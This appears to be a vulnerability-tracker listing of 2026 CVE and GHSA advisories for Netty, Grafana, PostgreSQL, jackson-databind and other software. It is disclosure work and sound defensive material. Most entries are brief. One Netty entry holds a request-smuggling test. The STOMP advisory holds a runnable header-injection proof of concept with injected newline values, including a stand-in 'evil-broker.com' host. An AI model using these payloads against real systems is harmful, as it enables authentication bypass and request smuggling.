In triage 2026-10-28 5.7 ×75.6 ×95.5 ×205.4 ×14 Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.
6.5CVSS 3.1 CVE-2026-14663
NVD MITRE OpenCVE
Resolved 2026-08-13 5.7 ×35.6 ×65.5 ×205.4 ×14 Cleartext storage in PostgreSQL pgcrypto disabled ciphers allows a user to recover cleartext, via direct observation of the faulty ciphertext. The OpenSSL version and OpenSSL configuration determine the disabled ciphers. If the application accepts encrypted data as input, decryption will succeed even with the wrong key. This in turn loses the modest protection from the Modification Detection Code (MDC). Affected functions are pgp_sym_encrypt, pgp_sym_decrypt, pgp_pub_encrypt, pgp_pub_decrypt, pgp_sym_encrypt_bytea, pgp_sym_decrypt_bytea, pgp_pub_encrypt_bytea, and pgp_pub_decrypt_bytea. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
6.5CVSS 3.1 CVE-2026-27878
NVD MITRE OpenCVE
Resolved 2026-06-19 5.6 ×95.5 ×205.4 ×14 A TraceQL query in Grafana Tempo with a large exemplars hint value can cause the Tempo instance to allocate an excessive amount of memory, resulting in an out-of-memory crash. This could allow an authenticated user to trigger a denial of service against the Tempo service.
6.5CVSS 3.1 CVE-2026-28376
NVD MITRE OpenCVE
Resolved 2026-05-13 5.6 ×95.5 ×205.4 ×14 The Grafana Live push endpoint can be exploited to cause unbounded memory allocation by sending a large or streaming request body, potentially leading to out-of-memory conditions. An authenticated user with access to the Grafana Live API can trigger this issue.
6.5CVSS 3.1 CVE-2026-28379
NVD MITRE OpenCVE
Resolved 2026-05-13 5.6 ×95.5 ×205.4 ×14 A race condition in Grafana Live allows authenticated users with Viewer role to trigger a server crash by sending concurrent requests that cause a fatal map access error. This results in complete service unavailability requiring restart of the Grafana server.
6.5CVSS 3.1 CVE-2026-28380
NVD MITRE OpenCVE
Resolved 2026-05-13 5.6 ×95.5 ×205.4 ×14 Any Editor could delete any snapshot, even if they have no access to read or write them.
6.5CVSS 3.1 CVE-2026-28383
NVD MITRE OpenCVE
Resolved 2026-05-13 5.6 ×95.5 ×205.4 ×14 A request to the Grafana plugin resources endpoint can cause unbounded memory allocation by reading the entire request body into memory. An authenticated user can exploit this to trigger an out-of-memory condition, potentially causing a denial of service.
6.5CVSS 3.1 CVE-2026-33375
NVD MITRE OpenCVE
Resolved 2026-03-26 5.6 ×95.5 ×205.4 ×14 The Grafana MSSQL data source plugin contains a logic flaw that allows a low-privileged user (Viewer) to bypass API restrictions and trigger a catastrophic Out-Of-Memory (OOM) memory exhaustion, crashing the host container.
6.5CVSS 3.1 CVE-2026-33378
NVD MITRE OpenCVE
Resolved 2026-05-13 5.6 ×95.5 ×205.4 ×14 Using the $__timeGroup macro, one can achieve an OOM by overloading the server. This requires a SQL datasource. If the server is set up to auto-restart, the impact is minimal or non-existent, as the attack can take upwards of half an hour to crash the server.
6.5CVSS 3.1 CVE-2026-33380
NVD MITRE OpenCVE
Resolved 2026-05-13 5.6 ×95.5 ×205.4 ×14 A vulnerability in SQL Expressions allows an authenticated attacker to read arbitrary files from the Grafana server's filesystem. Only instances with the sqlExpressions feature toggle enabled are vulnerable.
6.5CVSS 3.1 CVE-2026-42580
NVD MITRE OpenCVE
GHSA-m4cv-j2px-7723
Resolved 2026-05-13 5.7 ×35.6 ×25.5 ×205.4 ×14 Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
6.5CVSS 3.1 CVE-2026-49090
NVD MITRE OpenCVE
Resolved 2026-07-01 5.4 ×6 Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user can submit a specially crafted bulk request that causes sustained high CPU consumption, which can render the affected node unable to process requests.
6.5CVSS 3.1 CVE-2026-54518
NVD MITRE OpenCVE
GHSA-rcqc-6cw3-h962
Resolved 2026-06-23 5.6 ×55.5 ×105.4 ×1 jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.21.0 until 2.21.4 and 3.1.4, UnwrappedPropertyHandler.processUnwrappedCreatorProperties() replays buffered JSON into creator parameters but never consults prop.visibleInView(activeView). The normal property-based creator path gates creator properties on the active view, but this unwrapped-creator replay path bypasses that check, so a constructor parameter annotated with both @JsonView(AdminView.class) and @JsonUnwrapped is populated from attacker JSON even when a more restrictive view is active. This vulnerability is fixed in 2.21.4 and 3.1.4.
6.5CVSS 3.1 CVE-2026-54704
NVD MITRE OpenCVE
Resolved 2026-07-01 5.6 ×95.5 ×205.4 ×14 OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.28.0, the JDBC auto-instrumentation may fail to sanitize passwords in SQL CONNECT statements when the password is double-quoted. As a result, clear-text database passwords can be added to trace span attributes and exported to observability backends. This issue has been fixed in version 2.28.0.
6.5CVSS 3.1 CVE-2026-56746
NVD MITRE OpenCVE
GHSA-6cqp-g7gg-8hr5
Resolved 2026-07-21 5.7 ×35.6 ×95.5 ×205.4 ×14 Netty is a network application framework for development of protocol servers and clients. Versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, are vulnerable to security control bypass during the origin evaluation process. CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
6.5CVSS 3.1 CVE-2026-56818
NVD MITRE OpenCVE
GHSA-p9jm-q85p-7mcp
Resolved 2026-08-07 5.6 ×25.5 ×185.4 ×12 Netty is an asynchronous, event-driven network application framework. Prior to 4.1.136.Final and 4.2.16.Final, the RedisArrayAggregator Redis codec clears retained partial aggregate state when the maxNestedArrayDepth limit is exceeded, but it does not clear the same state when the sibling maxElements limit is exceeded. A peer can start a valid RESP array, send a bulk string child, then send a nested array header longer than the configured maxElements. Netty throws a decoder exception in decodeRedisArrayHeader, but the existing partial aggregate remains retained in the handler. If the application leaves the channel alive after the exception, later messages are still consumed into the pre-error aggregate, allowing an unauthenticated peer to keep attacker-controlled aggregate state alive across a security-limit exception and pin retained pooled buffers. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
6.5CVSS 3.1 CVE-2026-59888
NVD MITRE OpenCVE
GHSA-3pjw-73gf-8qr5
Resolved 2026-07-14 5.7 ×35.6 ×95.5 ×205.4 ×14 jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.15.0 until 2.18.8, 2.21.4, and 3.1.4, Java Records using a PropertyNamingStrategy can bypass @JsonIgnore because POJOPropertiesCollector._removeUnwantedIgnorals() records an ignored component under its original implicit name before _renameUsing() applies the naming strategy, allowing the renamed JSON key to be assigned to the Record constructor parameter. This issue is fixed in versions 2.18.8, 2.21.4, and 3.1.4.
6.5CVSS 3.1 CVE-2026-59889
NVD MITRE OpenCVE
GHSA-5gvw-p9qm-jgwh
Resolved 2026-07-14 5.7 ×35.6 ×95.5 ×205.4 ×14 jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.18.0 until 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1, UnwrappedPropertyHandler.processUnwrapped() replays buffered JSON for a @JsonUnwrapped property and calls prop.deserializeAndSet() without a prop.visibleInView(ctxt.getActiveView()) guard, allowing a property annotated with both @JsonView and @JsonUnwrapped to be written from attacker JSON under a less-privileged active view. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.
6.5CVSS 3.1 CVE-2026-59920
NVD MITRE OpenCVE
GHSA-3g8r-4pfx-jmfh
Resolved 2026-07-29 5.6 ×25.5 ×185.4 ×12 Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder ( StompSubframeEncoder ) does not escape or validate header values in  CONNECT  and  CONNECTED  frames, so raw newline ( \n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
6.5CVSS 3.1 CVE-2026-59921
NVD MITRE OpenCVE
GHSA-gcjf-9mgh-3p7g
Resolved 2026-07-28 5.7 ×35.6 ×95.5 ×205.4 ×14 Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
6.5CVSS 3.1 CVE-2026-59949
NVD MITRE OpenCVE
GHSA-xx22-p4ch-683r
Resolved 2026-08-18 5.7 ×75.6 ×95.5 ×205.4 ×14 yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.1, JNI-backed XXHash implementations fail to validate the byte array object and the off and len arguments in XXHashFactory.nativeInstance().hash32().hash(), XXHashFactory.nativeInstance().hash64().hash(), XXHashFactory.nativeInstance().newStreamingHash32().update(), and XXHashFactory.nativeInstance().newStreamingHash64().update(), allowing null arrays or oversized ranges to reach native code, read outside the Java array, and fatally terminate the JVM. This issue is fixed in version 1.11.1.
6.5CVSS 3.1 CVE-2026-6402
NVD MITRE OpenCVE
GHSA-79cf-xcqc-c78w
False positive 2026-05-12 5.6 ×95.5 ×205.4 ×14 webpack-dev-server versions up to and including 5.2.3 are vulnerable to cross-origin source code exposure when serving over a non-potentially trustworthy origin such as plain HTTP. The previous fix relied on the Sec-Fetch-Mode and Sec-Fetch-Site request headers, which browsers omit for non-trustworthy origins, allowing a malicious site to load the bundled source as a script and read it across origins. Impact: an attacker controlling a website visited by a developer running webpack-dev-server can recover the application source code when the dev server runs over HTTP at a guessable host and port. Chromium based browsers from Chrome 142 onward are not affected due to local network access restrictions. Upgrade to webpack-dev-server 5.2.4 or later, which sets Cross-Origin-Resource-Policy: same-origin on responses.
6.5CVSS 3.1 CVE-2026-6478
NVD MITRE OpenCVE
Resolved 2026-05-14 5.5 ×125.4 ×12 Covert timing channel in comparison of MD5-hashed password in PostgreSQL authentication allows an attacker to recover user credentials sufficient to authenticate. This does not affect scram-sha-256 passwords, the default in all supported releases. However, current databases may have MD5-hashed passwords originating in upgrades from PostgreSQL 13 or earlier. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.
6.5CVSS 3.1 CVE-2026-72683
NVD MITRE OpenCVE
In triage 2026-08-13 5.7 ×75.6 ×95.5 ×205.4 ×14 A flaw in Elasticsearch allows an authenticated user with the privileges required to invoke the simulate pipeline API endpoint (https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-simulate) to submit a request that causes a self-referential data structure to be created. When a specific internal component later processes that structure, the operation recurses without bound and raises a fatal error that is not handled by the surrounding execution path, terminating the affected node process and resulting in a denial of service.
6.5CVSS 3.1 GHSA-38f8-5428-x5cv
CVE-2026-42585
Resolved 2026-05-07 5.7 ×35.6 ×25.5 ×205.4 ×14 ### Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. ### Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length " If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. " A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
6.5CVSS 3.1 GHSA-3f7h-mf4q-vrm4
CVE-2022-40152
Resolved 2022-09-17 5.7 ×75.6 ×95.5 ×205.4 ×14 Those using FasterXML/woodstox to seralize XML data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. This vulnerability is only relevant for users making use of the DTD parsing functionality.
6.5CVSS 3.1 GHSA-3g8r-4pfx-jmfh
CVE-2026-59920
Resolved 2026-07-22 5.6 ×25.5 ×185.4 ×12 # Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-stomp) | | **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers | | **Impact** | STOMP Header Injection / Authentication Bypass | | **CVSS 3.1 Score** | **6.5 (Medium)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | Low | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | None | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components - `io.netty.handler.codec.stomp.StompSubframeEncoder` — `encodeHeaders()` method (lines 174-200) - `io.netty.handler.codec.stomp.StompSubframeEncoder` — `shouldEscape()` method (lines 214-216) ## 3. Vulnerability Description The Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers. ### Root Cause In `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping: ```java private static boolean shouldEscape(StompCommand command) { return command != StompCommand.CONNECT && command != StompCommand.CONNECTED; } ``` When `shouldEscape()` returns `false`, header values are written without any escaping (line 195): ```java CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue(); ByteBufUtil.writeUtf8(buf, headerValue); // Raw \n written to output buf.writeByte(StompConstants.LF); ``` For other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\n` to `\\n`, `\r` to `\\r`, `:` to `\\c`, and `\\` to `\\\\`. ### STOMP Specification Context and Security Analysis The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences. **However, "no escaping" does not mean "no validation".** The specification's intent is that CONNECT headers should not use the `\n` → `\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction: - **Escaping** = converting `\n` to `\\n` in the wire format (spec says: don't do this for CONNECT) - **Validation** = rejecting header values that contain `\n` (spec does not prohibit this) Netty's implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\n`. This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here. **Additionally**, Netty's own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered. **Summary**: The vulnerability exists because: 1. Header values in CONNECT frames are **neither escaped nor validated** for newlines 2. A raw newline in a header value creates a **new header line** on the wire 3. The STOMP broker parses each line as a separate header 4. The fix should **validate** (reject `\n`) rather than **escape** (convert `\n` to `\\n`), maintaining spec compliance ## 4. Exploitability Prerequisites This vulnerability is exploitable when **all** of the following conditions are met: 1. The application uses Netty's `codec-stomp` module to encode STOMP frames 2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame 3. The application does **not** perform its own newline sanitization 4. The downstream STOMP broker processes the injected headers (broker-dependent) **Typical affected use cases**: - STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials - Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms - Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames ## 5. Attack Scenarios ### Scenario 1: Authentication Bypass via Header Injection An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers: ```java DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().set(StompHeaders.HOST, "localhost"); frame.headers().set(StompHeaders.LOGIN, "guest"); // Attacker injects a role header via \n in passcode frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true"); ``` **Wire format sent to broker:** ``` CONNECT host:localhost login:guest passcode:password admin-role:true <-- INJECTED HEADER <-- Empty line (end of headers) \0 ``` The broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication. ### Scenario 2: Subscription Hijacking ```java frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com"); ``` This overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation). ### Scenario 3: Header Overwrite ```java frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin"); ``` **Wire format:** ``` CONNECT login:user login:admin <-- INJECTED, may override first ... ``` Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account. ## 6. Proof of Concept ### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.stomp.*; import java.nio.charset.StandardCharsets; /** * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability * * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and * CONNECTED commands, allowing \n injection in header values to create * additional STOMP headers. */ public class StompConnectHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n"); testConnectHeaderInjection(); testConnectVsOtherCommand(); System.out.println("\n=== PoC Complete ==="); } /** * Test 1: CONNECT command header injection via \n in value */ static void testConnectHeaderInjection() { System.out.println("[TEST 1] CONNECT Header Value Injection"); System.out.println("-----------------------------------------"); // Craft a CONNECT frame with \n in passcode value DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set(StompHeaders.ACCEPT_VERSION, "1.2"); headers.set(StompHeaders.LOGIN, "user"); headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true"); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input passcode: \"password\\nadmin-role:true\""); System.out.println(); System.out.println("Encoded STOMP frame:"); System.out.println("---"); // Show with visible control chars for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r").replace("\0", "\\0")); } System.out.println("---"); // Check if the injected header appears as a separate line boolean hasInjectedHeader = false; String[] lines = encoded.split("\n"); for (String line : lines) { if (line.startsWith("admin-role:")) { hasInjectedHeader = true; break; } } System.out.println(); System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader); System.out.println("VULNERABLE: " + (hasInjectedHeader ? "YES - Header injection in CONNECT frame!" : "NO")); // Count actual STOMP headers (lines between command and empty line) int headerCount = 0; boolean inHeaders = false; for (String line : lines) { if (line.equals("CONNECT")) { inHeaders = true; continue; } if (inHeaders && line.trim().isEmpty()) break; if (inHeaders && line.contains(":")) headerCount++; } System.out.println("Expected headers: 4 (host, accept-version, login, passcode)"); System.out.println("Actual headers: " + headerCount); System.out.println(); } /** * Test 2: Compare CONNECT (no escape) vs SEND (with escape) */ static void testConnectVsOtherCommand() { System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison"); System.out.println("--------------------------------------------"); String maliciousValue = "value\ninjected:evil"; // Test CONNECT (no escape) { DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set("custom", maliciousValue); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0")); boolean hasRawNewline = encoded.contains("value\ninjected:evil"); System.out.println(" Raw \\n in output: " + hasRawNewline); System.out.println(" VULNERABLE: " + (hasRawNewline ? "YES" : "NO")); } System.out.println(); // Test SEND (with escape) { DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.DESTINATION, "/queue/test"); headers.set("custom", maliciousValue); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("SEND frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0")); boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil"); boolean hasRawNewline = encoded.contains("value\ninjected:evil"); System.out.println(" Escaped \\n: " + hasEscapedNewline); System.out.println(" Raw \\n: " + hasRawNewline); System.out.println(" SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO")); } System.out.println(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" StompConnectHeaderInjectionPoC.java java -cp "$JARS:." StompConnectHeaderInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty STOMP CONNECT Header Injection PoC === [TEST 1] CONNECT Header Value Injection ----------------------------------------- Input passcode: "password\nadmin-role:true" Encoded STOMP frame: --- CONNECT host:localhost accept-version:1.2 login:user passcode:password admin-role:true <-- INJECTED HEADER \0 --- Injected 'admin-role' appears as separate header: true VULNERABLE: YES - Header injection in CONNECT frame! Expected headers: 4 (host, accept-version, login, passcode) Actual headers: 5 [TEST 2] CONNECT vs SEND Escape Comparison -------------------------------------------- CONNECT frame with custom="value\ninjected:evil": Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0 Raw \n in output: true VULNERABLE: YES SEND frame with custom="value\ninjected:evil": Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0 Escaped \n: true Raw \n: false SAFE: YES === PoC Complete === ``` ### Key Observation The PoC demonstrates a clear inconsistency: - **CONNECT** command: `\n` is written **raw** → header injection succeeds - **SEND** command: `\n` is escaped to `\\n` → header injection prevented ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Authentication** | Injected headers may bypass broker authentication logic | | **Authorization** | Role escalation via injected role/permission headers | | **Integrity** | Modification of connection parameters (host, version, etc.) | | **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) | ### Affected Brokers This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers: - **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins - **ActiveMQ**: May process custom headers for internal routing - **Custom Brokers**: Most likely to be affected if they trust all received headers ## 8. Remediation Recommendations ### Option 1: Validate CONNECT Header Values (Recommended) Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely: ```java private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) { StompCommand command = frame.command(); ByteBufUtil.writeUtf8(buf, command.toString()); buf.writeByte(StompConstants.LF); boolean shouldEscape = shouldEscape(command); for (Entry<CharSequence, CharSequence> entry : frame.headers()) { CharSequence headerKey = entry.getKey(); CharSequence headerValue = entry.getValue(); if (shouldEscape) { headerKey = escape(headerKey); headerValue = escape(headerValue); } else { // For CONNECT/CONNECTED: don't escape but REJECT newlines validateNoNewlines(headerKey, "header name"); validateNoNewlines(headerValue, "header value"); } ByteBufUtil.writeUtf8(buf, headerKey); buf.writeByte(StompConstants.COLON); ByteBufUtil.writeUtf8(buf, headerValue); buf.writeByte(StompConstants.LF); } buf.writeByte(StompConstants.LF); } private static void validateNoNewlines(CharSequence value, String type) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\n' || c == '\r') { throw new IllegalArgumentException( "STOMP CONNECT " + type + " contains illegal newline at index " + i); } } } ``` ### Option 2: Apply Escaping to All Commands Simply remove the CONNECT/CONNECTED exception: ```java private static boolean shouldEscape(StompCommand command) { return true; // Always escape } ``` Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach. ## 9. References - [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html) - [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)
6.5CVSS 3.1 GHSA-3pjw-73gf-8qr5
CVE-2026-59888
Resolved 2026-07-21 5.7 ×35.6 ×95.5 ×205.4 ×14 ## Summary For Java Records, `POJOPropertiesCollector._removeUnwantedIgnorals()` records a `@JsonIgnore`-annotated component under its original implicit name before `_renameUsing()` applies the `PropertyNamingStrategy`. After the rename, `_ignoredPropertyNames` still holds only the pre-rename name, so `_ignorableProps` is built from the stale key. The renamed JSON key passes `IgnorePropertiesUtil.shouldIgnore()` and is assigned to the Record's constructor parameter, defeating the `@JsonIgnore`. ## Impact A Record using a naming strategy that relies on `@JsonIgnore` to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client). ## Affected / Patched (verified via `git tag --contains`) - 2.15-2.18 line: `>= 2.15.0, < 2.18.8` -> fixed in **2.18.8** (backport `c7c6783`) - 2.19-2.21 line: `>= 2.19.0, < 2.21.4` -> fixed in **2.21.4** - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** (#5974, `baa2cdf`) ## Severity / CWE Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345. ## Credits Omkhar Arasaratnam (@omkhar) - finder.
6.5CVSS 3.1 GHSA-5fpq-26gf-qwcr
CVE-2026-118661
